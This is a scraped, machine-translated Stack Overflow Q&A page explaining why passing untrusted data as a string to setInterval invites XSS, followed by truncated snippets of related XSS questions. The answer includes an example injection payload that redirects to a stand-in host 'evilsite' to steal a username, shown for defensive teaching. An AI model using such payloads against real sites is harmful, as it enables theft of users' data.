- html - 出于某种原因,IE8 对我的 Sass 文件中继承的 html5 CSS 不友好?
- JMeter 在响应断言中使用 span 标签的问题
- html - 在 :hover and :active? 上具有不同效果的 CSS 动画
- html - 相对于居中的 html 内容固定的 CSS 重复背景?
我正在浏览 OWASP Cross Site Scripting Prevent Cheat Sheet .在规则 #3 中它说:
Please note there are some JavaScript functions that can never safely use untrusted data as input - EVEN IF JAVASCRIPT ESCAPED!
<script>
window.setInterval('...EVEN IF YOU ESCAPE UNTRUSTED DATA YOU ARE XSSED HERE...');
</script>
澄清:
setInterval
等。 您自己的内容是安全的。我的理解是规则 #3 暗示攻击者可以绕过任何你能想到的 XSS 过滤器,如果你使用 setInterval
。
你有他们的意思的例子吗?使用 setInterval
永远无法避免哪种 XSS 攻击?
这里有一个类似的问题:.setinterval and XSS不幸的是,答案对我没有帮助。
最佳答案
先介绍一些背景:
转义以抵御 XSS 涉及添加合适的转义字符,以便流氓数据无法从您放置的任何地方逃脱并被评估为 JavaScript。
例如给定用户输入的 xss' + window.location = "http://evilsite/steal?username="+ encodeURLComponent(document.getElementById("user-widget").textContent) + '
/p>
如果您使用服务器端代码将其插入到字符串文字中:
const userinput = '<?php echo $_GET("userinput"); ?>'
你会得到:
const userinput = 'xss' + window.location = "http://evilsite/steal?username=" + encodeURLComponent(document.getElementById("user-widget").textContent) + ''`
然后 '
会从 JS 中的字符串文字中跳出,窃取用户名,并将其发送到攻击者的网站。 (还有比可能被盗的用户名更糟糕的事情。
转义是为了防止数据像这样脱离字符串文字:
const userinput = 'xss\' + window.location = \"http://evilsite/steal?username=\" + encodeURLComponent(document.getElementById(\"user-widget\").textContent) + \''`
因此攻击代码只是成为字符串的一部分,而不是作为原始代码评估。
将字符串传递给setInterval
(或setTimeout
、new Function
、eval
等)的问题是它们是设计用于评估代码的函数。
攻击者无需突破字符串文字即可执行其代码。它已经发生了。
My question is about understanding why setInterval can never be safe from XSS.
那不是你引用的警告所说的。它说它永远不能安全地使用不受信任的数据作为输入。如果您将自己的代码放在那里,那将是绝对安全的。当您评估某些用户输入时,您就会遇到问题。
将字符串传递给 setInterval
无论如何不是一个好主意。它很难调试,而且速度相对较慢。
改为传递一个函数。您甚至可以安全地使用用户输入(因为它没有被评估为代码,它只是一个带有字符串的变量)。
const userinput = "properly escaped user input";
setInterval(() => {
document.body.appendChild(
document.createTextNode(userinput)
);
}, 1000);
关于javascript - 为什么 setInterval 对 XSS 不安全?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/62872675/
服务器XSS的区别有什么明确的解释和客户端 XSS? 我阅读了 OWASP 网站上的解释,但对我来说不是很清楚。我知道反射、存储的 DOM 类型。 最佳答案 首先,为了让其他人发现问题,我们从 OWA
我在考虑我的应用程序的 XSS 漏洞。在服务器端,我不清理输入或输出,所以 alert(document.cookies) 完全如此存储在数据库中。要在客户端查看此值,我使用 Mustache。如果这
我无法理解存储的 xss 和反射的 xss 之间的区别是什么。你能举个例子告诉我吗? 最佳答案 存储型 XSS 意味着一些 坚持数据(通常存储在数据库中)未在页面中进行清理,这意味着每个人都可能受到该
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web appli
有人可以用简单的英语解释 XSS 是如何工作的吗?也许举个例子。谷歌搜索没有多大帮助。 最佳答案 跨站点脚本基本上是动态网页的安全漏洞,攻击者可以创建恶意链接将不需要的可执行 JavaScript 注
站点的本地存储值可以被xss(跨站点脚本)覆盖吗?据我在 Chrome 和 Firefox 中验证,一个站点的 localstorage 值不能被其他站点访问。谁能告诉我 localstorage 值
据我了解,我需要在 header 服务器端禁用 X-XSS-Protection,以防止通过 GET 请求发生 XSS。 例如,用户浏览到 http://mysite.com/index.php?pa
在 OWASP XSS prevention cheat sheet它表示无法将不受信任的数据安全地放入 .setinterval JS 函数中。即使被转义/编码,XSS 仍然是可能的。 但如果我有这
我正在创建一个网页,用户可以在其中交互并在远程计算机上执行基本的文件系统操作(创建文件/目录、删除文件/目录、导航文件系统)。 该网页是基本的 HTML(UTF-8 编码)和 Javascript。我
可能是简单的解决方案,但我不明白为什么我尝试通过索引页面上的 XSS 输入在我的欢迎页面上运行此警报脚本不起作用。 我有一个带有表单的简单 index.htm 页面:
好的,所以我一直在阅读关于此处和其他地方的 Markdown ,并且用户输入和数据库之间的步骤通常被给出为 将 markdown 转换为 html 清理 html(带白名单) 插入数据库 但对我来说,
我最近发现 this blog entry在将 XSS 攻击直接写入数据库的工具上。它看起来是一种非常好的方法来扫描应用程序以查找我的应用程序中的弱点。 我尝试在 Mono 上运行它,因为我的开发平台
我正在经历一场无情的 XSS 攻击,但我似乎无法阻止。我的网站上共有三个输入表单 - 一个用于上传图像,一个用于向页面添加评论,第三个用于通过 php 发送电子邮件。我以一种或另一种方式保护它们所有人
我正在寻找有关 Qooxdoo 安全性的信息。 我想检查我的应用程序 vs OWASP top 10 需要审查的一点是 XSS OWASP A3 XSS 我如何确定 Qooxdoo 是安全的,可以抵御
我的网站遭受了多次 XSS 攻击。以下 HTML 片段是攻击者注入(inject)的 XSS 向量: 看起来脚本不应该执行,但是使用 IE9 的开发工具,我能够看到浏览器将 HTML 转换为以
CaSTLe Project 功能丰富,包括一些很棒的子项目,使用它进行开发是一种乐趣。 我的团队几乎准备好交付定制的 EAM我们正在完善我们的系统。我们尝试了一些基本的 XSS 攻击并猜测:它们都有
通过简单地转换以下(“大 5”): & -> & < > -> > " -> " ' -> ' 你会阻止 XSS 攻击吗? 我认为您也需要在字符级别上列入白名
我正在使用 ASP.NET 并且在 ASP.NET 页面上具有用于检查 XSS 验证的验证属性。但是我想知道这真的足够了吗? 我访问了一些关于 stackoverflow 的相关帖子,这对我有帮助,但
我们正在使用 ASP.NET MVC 5.0 来构建一个网站。如果我在保存时输入一些 javascript 文本框,我会得到一个“检测到可能不安全的输入”错误页面 - 太好了。 然而,我们的一些屏幕使
持久性 XSS 和非持久性 XSS 之间的主要区别是什么? 最佳答案 顾名思义,持久型 XSS 和非持久型 XSS 的区别如下。 持久性 XSS 存储在 cookie 或服务器数据库中的 XSS。 聊
我是一名优秀的程序员,十分优秀!